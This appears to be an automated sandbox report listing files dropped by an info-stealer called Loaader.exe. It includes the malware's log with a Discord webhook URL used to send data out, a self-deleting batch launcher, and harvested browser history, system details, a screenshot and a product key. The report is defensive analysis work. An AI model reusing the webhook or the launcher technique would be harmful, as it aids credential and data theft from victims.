Preview:	2024/05/23 07:54:18 ::: Plugin Invoked! >> .2024/05/23 07:54:18 ::: Initializing Client.... .2024/05/23 07:54:18 ::: Plugin Connected! .2024/05/23 07:54:19 ::: Thread Starting!. .2024/05/23 07:54:19 ::: Reading Packet! https://discord.com/api/webhooks/895657579101958174/9Z8CPsHdivzzExezi2PenJZuA1sRTvhR7zSiHiSBhPgUVEAa9HBgrmebF0mbhr4vycB6>>. ...2024/05/23 07:54:19 ::: HideFile : Adding 'hidden' attribute to file C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86 .2024/05/23 07:54:19 ::: Removing Old Data>> Started!. .2024/05/23 07:54:19 ::: Removing Old Data>> Ended!. .2024/05/23 07:54:19 ::: Starting Making Report >> .2024/05/23 07:54:19 ::: Steam >> Application path not found in registry .2024/05/23 07:54:19 ::: Uplay >> Session not found .2024/05/23 07:54:19 ::: BattleNET >> Session not found .2024/05/23 07:54:19 ::: Wallets >> Desktop Wallet is Empty!. .2024/05/23 07:54:19 ::: Chrome Browser Wallets >> No wallets from Chrome browser. ...2024/05/23 07:54:20 ::: FileZila >>

C:\Users\user\AppData\Local\Temp\tmp312E.tmp.dat

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp314E.tmp.dat

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp315E.tmp.dat

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp316F.tmp.dat

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3180.tmp.dat

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp31A0.tmp.dat

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp323D.tmp.dat

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp323E.tmp.dat

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE266.tmp.bat

Download File

Process:	C:\Users\user\Desktop\t3h7DNer1Q.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	151
Entropy (8bit):	5.038324109697154
Encrypted:	false
SSDEEP:	3:mKDDCMNqTtvL5ot+kiEaKC5NoAXLsmqRDt+kiE2J5xAInTRIKXfWVZPy:hWKqTtT6wknaZ5HLsmq1wkn23fTruVk
MD5:	F2D9FF30C678784882296F8CF7217AEE
SHA1:	EFE85A8CE0FB91E4A84C2D7574FC680D212C052D
SHA-256:	BDFDD57B25756D395170B6C037383E6375DDB4CD5EE7D43E54CBA232563196A3
SHA-512:	727E16A424AC4FFDC3ECB52DF50C10E00D3EB3F77F9F0D3530E13705DE7F44235F64CCB27687DEFF4875521EDBAB3677722774E62A3A1BF188914C78E4DDE364
Malicious:	false
Preview:	@echo off..timeout 3 > NUL..START "" "C:\Users\user\AppData\Roaming\Loaader.exe"..CD C:\Users\user\AppData\Local\Temp\..DEL "tmpE266.tmp.bat" /f /q..

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\DotNetZip-ohmut4mm.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	75559
Entropy (8bit):	7.964646144360126
Encrypted:	false
SSDEEP:	1536:wRBK0OyDyck/5UD2Y7K8+NgXRz61d5KbPxGHFMMd3GRmf:wRo0OyOcEbY28Lc1Dpd3GW
MD5:	CADC36782F941BBF01F61A838EF0D348
SHA1:	5757B1D0DCEB453F28B5070220A7382AC86F8C40
SHA-256:	076734347CFF6D3624CA56B611EAE4BF60810C36B46FA52F811413B9E40D4190
SHA-512:	6FF01CA5EACE0C428E1843AAAF047837BBACF79E1A72F1B9D59546DD84A0E94E44BCD75E316F5D9A82CA7EE1BCF6F4056455AD159A845B7A0CFAE0A8EEBA8FD8
Malicious:	false
Preview:	PK.........>.X..............$.Browsers/.. .........k.......k...............PK.........>.X..............$.Browsers/Google/.. .................................PK.........>.X..[.s...q.....$.Browsers/Google/History.txt.. ..........E.......E................j.0...{.C.l.5..?(..9.m......&?..C.....l=..6.^..H.'K.e......V..R.\O...\|_....}..<.....2%......+$s...q.2.F..W....z.F...97.....S9..@.j.Jn.+7$....%!.q.C..+ .O...N.\-.zZ.W.....2../w.!..N...d.dj$..L..H...dJ.OI.K6E/9..\|.4i..A.y..)....9.)8P...5..O...J.M\gs.g>q......e....B..#....r...@.l.C ..(.....>K.wB........a.G..B.....Y.O..g....Z6..b......P....0.0...a_..PK.........>.X..............$.Browsers/Mozilla/.. .........k.......k.......k.......PK.........>.X..............$.Browsers/Mozilla/Firefox/.. .........iVE.....iVE.....k.......PK.........>.XQ3..J...i...&.$.Browsers/Mozilla/Firefox/Bookmarks.txt.. ...........B.......B.......@.....SVVVpO-Q.H.)PPVV..b.......T........H.g^Y~NYj.\.1)..D!..YUIf^.BpIbQ.T!.PK.........>.Xc.e.S...^...$

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH.zip (copy)

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	75559
Entropy (8bit):	7.964646144360126
Encrypted:	false
SSDEEP:	1536:wRBK0OyDyck/5UD2Y7K8+NgXRz61d5KbPxGHFMMd3GRmf:wRo0OyOcEbY28Lc1Dpd3GW
MD5:	CADC36782F941BBF01F61A838EF0D348
SHA1:	5757B1D0DCEB453F28B5070220A7382AC86F8C40
SHA-256:	076734347CFF6D3624CA56B611EAE4BF60810C36B46FA52F811413B9E40D4190
SHA-512:	6FF01CA5EACE0C428E1843AAAF047837BBACF79E1A72F1B9D59546DD84A0E94E44BCD75E316F5D9A82CA7EE1BCF6F4056455AD159A845B7A0CFAE0A8EEBA8FD8
Malicious:	false
Preview:	PK.........>.X..............$.Browsers/.. .........k.......k...............PK.........>.X..............$.Browsers/Google/.. .................................PK.........>.X..[.s...q.....$.Browsers/Google/History.txt.. ..........E.......E................j.0...{.C.l.5..?(..9.m......&?..C.....l=..6.^..H.'K.e......V..R.\O...\|_....}..<.....2%......+$s...q.2.F..W....z.F...97.....S9..@.j.Jn.+7$....%!.q.C..+ .O...N.\-.zZ.W.....2../w.!..N...d.dj$..L..H...dJ.OI.K6E/9..\|.4i..A.y..)....9.)8P...5..O...J.M\gs.g>q......e....B..#....r...@.l.C ..(.....>K.wB........a.G..B.....Y.O..g....Z6..b......P....0.0...a_..PK.........>.X..............$.Browsers/Mozilla/.. .........k.......k.......k.......PK.........>.X..............$.Browsers/Mozilla/Firefox/.. .........iVE.....iVE.....k.......PK.........>.XQ3..J...i...&.$.Browsers/Mozilla/Firefox/Bookmarks.txt.. ...........B.......B.......@.....SVVVpO-Q.H.)PPVV..b.......T........H.g^Y~NYj.\.1)..D!..YUIf^.BpIbQ.T!.PK.........>.Xc.e.S...^...$

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\Browsers\Google\History.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1393
Entropy (8bit):	5.241470443395582
Encrypted:	false
SSDEEP:	24:PTIOm5oh9wxOm5pjRmZDKJfOm5pjRSpDKJfOmcTdmcOWz5oPpMcOWz5pjRVpbccU:PbmAwgm/VcDKJmm/VuDKJmmcBYpB/VVe
MD5:	7F24357FFA354F2471DED45552B897D7
SHA1:	1DC89FD89BA23EA0186D0D8559B27CF647ECF4DC
SHA-256:	573E409CB5579533BC387F3943FFFACAF7694269A38B4B56987E8A8B83CF3AD1
SHA-512:	202F2FC022B7C484E0EDCA890300C471CA3097217A20BF0DDC4E1DC277D411CA3742608302DDB2A0F4E6EAA662D1B741AC2F6A4566C3133A151D0EF83EEDB6A3
Malicious:	false
Preview:	### https://go.microsoft.com/fwlink/?linkid=851546 ### (Examples of Office product keys - Microsoft Support) 3.### https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016 ### (Examples of Office product keys - Microsoft Support) 3.### https://support.microsoft.com/en-us/office/7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us ### (Examples of Office product keys - Microsoft Support) 3.### https://support.microsoft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us ### (Examples of Office product keys - Microsoft Support) 1.### https://go.microsoft.com/fwlink/?LinkId=2106243 ### (Install the English Language Pack for 32-bit Office - Microsoft Support) 3.### https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17 ### (Install the English Language Pack for 32-bit Office - Microsoft Support) 3.### https://support.microsoft.com/

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\Browsers\Mozilla\Firefox\Bookmarks.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	105
Entropy (8bit):	3.8863455911790052
Encrypted:	false
SSDEEP:	3:RGtjybXLGSWK+ZjMGvRS3ZMz9GSOLj2SjyRE2qJ:hvWF7Ipg9OL2RE2m
MD5:	2E9D094DDA5CDC3CE6519F75943A4FF4
SHA1:	5D989B4AC8B699781681FE75ED9EF98191A5096C
SHA-256:	C84C98BBF5E0EF9C8D0708B5D60C5BB656B7D6BE5135D7F7A8D25557E08CF142
SHA-512:	D1F7EED00959E902BDB2125B91721460D3FF99F3BDFC1F2A343D4F58E8D4E5E5A06C0C6CDC0379211C94510F7C00D7A8B34FA7D0CA0C3D54CBBE878F1E9812B7
Malicious:	false
Preview:	### Get Help ###.### Customize Firefox ###.### Get Involved ###.### About Us ###.### Getting Started ###.

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\Browsers\Mozilla\Firefox\History.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.886397362842801
Encrypted:	false
SSDEEP:	3:RGEnGPHA9lfMJJEFAN2DSLvIJiMhKVX3L2WdXuvn:DG/CF0EFAN2OLciA8d+v
MD5:	61CDD7492189720D58F6C5C975D6DFBD
SHA1:	6966AFE0DEC5B0ABD90291FA12C0F6B7EF73ED43
SHA-256:	2F345865397FF1952921DB0588A6B589BAF30E67A90E11F7064E515AC162E862
SHA-512:	20D5A1C9809DF4F5B9C789042E5B88928A5246F9EB44F9D265CA3AA6FC9544A582B758ECAF6BBB0E9CEE149BD0AAC5E6C63D954541D1B23A7FC11894121CC0AE
Malicious:	false
Preview:	### Firefox Privacy Notice . Mozilla ### (https://www.mozilla.org/en-US/privacy/firefox/) 1.

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\Directories\OneDrive.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.023465189601646
Encrypted:	false
SSDEEP:	3:1hiR8LKB:14R8LKB
MD5:	966247EB3EE749E21597D73C4176BD52
SHA1:	1E9E63C2872CEF8F015D4B888EB9F81B00A35C79
SHA-256:	8DDFC481B1B6AE30815ECCE8A73755862F24B3BB7FDEBDBF099E037D53EB082E
SHA-512:	BD30AEC68C070E86E3DEC787ED26DD3D6B7D33D83E43CB2D50F9E2CFF779FEE4C96AFBBE170443BD62874073A844BEB29A69B10C72C54D7D444A8D86CFD7B5AA
Malicious:	false
Preview:	OneDrive\...desktop.ini..

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\Directories\Startup.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:jgBLKB:j4LKB
MD5:	68C93DA4981D591704CEA7B71CEBFB97
SHA1:	FD0F8D97463CD33892CC828B4AD04E03FC014FA6
SHA-256:	889ED51F9C16A4B989BDA57957D3E132B1A9C117EE84E208207F2FA208A59483
SHA-512:	63455C726B55F2D4DE87147A75FF04F2DAA35278183969CCF185D23707840DD84363BEC20D4E8C56252196CE555001CA0E61B3F4887D27577081FDEF9E946402
Malicious:	false
Preview:	Startup\...desktop.ini..

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\System\Desktop.jpg

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	73827
Entropy (8bit):	7.80885010366999
Encrypted:	false
SSDEEP:	1536:CEg7V0LFLU9FJs1plp2R2gBFOlAiLBRg/iwREzskFKw3i8Ca/U7oY:C7idoFO1zpaytjg/iwREzskFVXL/Y
MD5:	83B74B7C749B5A64998196EB9A3EBA7E
SHA1:	D32D29EF03F624AF42624248EA18ED50234F8DD6
SHA-256:	51874BFF17BDE37F0F752CD90F4C27B2005FA92DFD9959B17254E6C44B959656
SHA-512:	D331FB082B9222104D069C363C984B2DB6B78C88442BC1831666B33F57B834DD4D6AD4B150B908255E7580E48740F2F6EC8A24F302250FA9947A4AD531AF7C70
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.*bi.F.xJ.5KC"...N...m.g....Uf.....?.2......Q.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..o.<-...OF.....j.#?........x..........#..........9.+..........e\.../n-.n.dh.c...k....1.q...y5..r..N.)W...O.d.QEw.!E.P11E-u>....k..V6....#..e...?)....^~a...b.y.}....G...1.%79.F.....W_.9Z+....]xW.._.1/...G.+.....+..&%........

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\System\Info.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	483
Entropy (8bit):	5.421194884507412
Encrypted:	false
SSDEEP:	12:RFNewPRbVkb21T32Yqo1PhzJxWW/vdUXyl:3EwP/kbKRqEPZJxWW6I
MD5:	FCE304FE363C4DBAEBA8F30BAFA6C2BD
SHA1:	5349BB6BB08835FC2A1059FCCDA8B9E4400AF677
SHA-256:	E202E35E7A2D674CBEDBD0B964A62BE405D14277557F125CD99DEEBC6D7B4B46
SHA-512:	559D3A035420E4D4047EA547FD9C3EA8DC24AF0A4CDA3ABB616C1A236CEA92D94D728F2DE79F9280BAA316A417AC679BFA522E9E92A0B7BA6AD6361A154E18BF
Malicious:	false
Preview:	.[IP].External IP: 8.46.123.175.Internal IP: No network adapters with an IPv4 address in the system!.Gateway IP: 192.168.2.1..[Machine].Username: user.Compname: 855271.System: Windows 10 Pro (64 Bit).CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz.GPU: ZBC91KX2.RAM: 4095MB.DATE: 2024-05-23 7:54:19 am.SCREEN: 1280x1024.WEBCAMS COUNT: 0..[Virtualization].VirtualMachine: False.SandBoxie: False.Emulator: False.Debugger: False.Processe: False.Hosting: False.Antivirus: Windows Defender..

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\System\Process.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19566
Entropy (8bit):	5.646065119870947
Encrypted:	false
SSDEEP:	192:0R1SscrVYDh2kqOmiAwbGKv/UAgrvQmZO:i1Ssu4hbRmiA4Rv/UAgrzZO
MD5:	98C350FA57C8228AAA6449F642B00EC2
SHA1:	14A769A0262740C98A768E57E5845FBDF5172676
SHA-256:	3CD03348E9C7702BFA6C87DB815402F53AC0FA8E21569B4F721F3B9080482DC6
SHA-512:	D4FC0234389B10B0C49BCC72E9678DEBDD706E11CAD47C6CF94BF98555A1A06762544D6B9489DDDD3A9A4A912160F6907D11C412FFDEF13BFB77EDACF6943E8B
Malicious:	false
Preview:	NAME: eBvgALZtzZvBuBU ..PID: 6464 ..EXE: C:\Program Files (x86)\NryOjynQFwHmgqdZtSxgQeRybMUCYXNliXaCcIcNyQUORRboRaPSmmexeepefQfeLAZRhRmE\eBvgALZtzZvBuBU.exe..NAME: svchost ..PID: 6032 ..EXE: ..NAME: svchost ..PID: 2152 ..EXE: C:\Windows\system32\svchost.exe..NAME: eBvgALZtzZvBuBU ..PID: 1720 ..EXE: C:\Program Files (x86)\NryOjynQFwHmgqdZtSxgQeRybMUCYXNliXaCcIcNyQUORRboRaPSmmexeepefQfeLAZRhRmE\eBvgALZtzZvBuBU.exe..NAME: explorer ..PID: 2580 ..EXE: C:\Windows\Explorer.EXE..NAME: eBvgALZtzZvBuBU ..PID: 7112 ..EXE: C:\Program Files (x86)\NryOjynQFwHmgqdZtSxgQeRybMUCYXNliXaCcIcNyQUORRboRaPSmmexeepefQfeLAZRhRmE\eBvgALZtzZvBuBU.exe..NAME: eBvgALZtzZvBuBU ..PID: 6488 ..EXE: C:\Program Files (x86)\NryOjynQFwHmgqdZtSxgQeRybMUCYXNliXaCcIcNyQUORRboRaPSmmexeepefQfeLAZRhRmE\eBvgALZtzZvBuBU.exe..NAME: eBvgALZtzZvBuBU ..PID: 6176 ..EXE: C:\Program Files (x86)\NryOjynQFwHmgqdZtSxgQeRybMUCYXNliXaCcIcNyQUORRboRaPSmmexeepefQfeLAZRhRmE\eBvgALZtzZvBuBU.exe..NAME: fontdrvhost ..PID: 784 ..EXE: C:\Windows\sys

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\System\ProductKey.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.6764409086968692
Encrypted:	false
SSDEEP:	3:4Tip30udOz:TpEuoz
MD5:	9991110BEE958E34663C633E4E1EDA27
SHA1:	2461A7C8BE9FAE89451892AA640BA92C06B147E7
SHA-256:	F1091412E3F9A77F8343D6EF0E4A609F8098DDC34A4312A775780D348D9280CF
SHA-512:	D2A4144BE566BD419CA0B374132DBC017CF765CCAF61DF9F3CF23079E9487D51B6DE14FB7541D07118A2FEF4F28F0EE6F14EC6F079228DEBD19A8824EC10E137
Malicious:	false
Preview:	PJN22-D24P6-JJJKF-JJX34-8DMTV

C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\System\Windows.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15016
Entropy (8bit):	5.633482869017021
Encrypted:	false
SSDEEP:	48:HJX2sT3PX2sT3YX2sT37X2sT3tX2sT3wX2sT3/X2sT3aJX2sT35be1hZX2sT39Xm:05CyzqMDEy5ya
MD5:	F0D81E2F0D517AE255B1100D27CE4ABF
SHA1:	E9AD349414A8FB2277BADE101F9253F0F5FA8B2B
SHA-256:	B37E6D2079E723B48B4DDED117BDC2A47D5D19C946D05FB4CC68012641E54638
SHA-512:	3BDA3E6A7BC2D7306A116313A28EC322DEDDFF3F9A93265023E9159A6213D88B9CBC7CA6480068A1A7C3ED90F2706877BBD33A625F7E3CF6BF07904BECAF7895
Malicious:	false
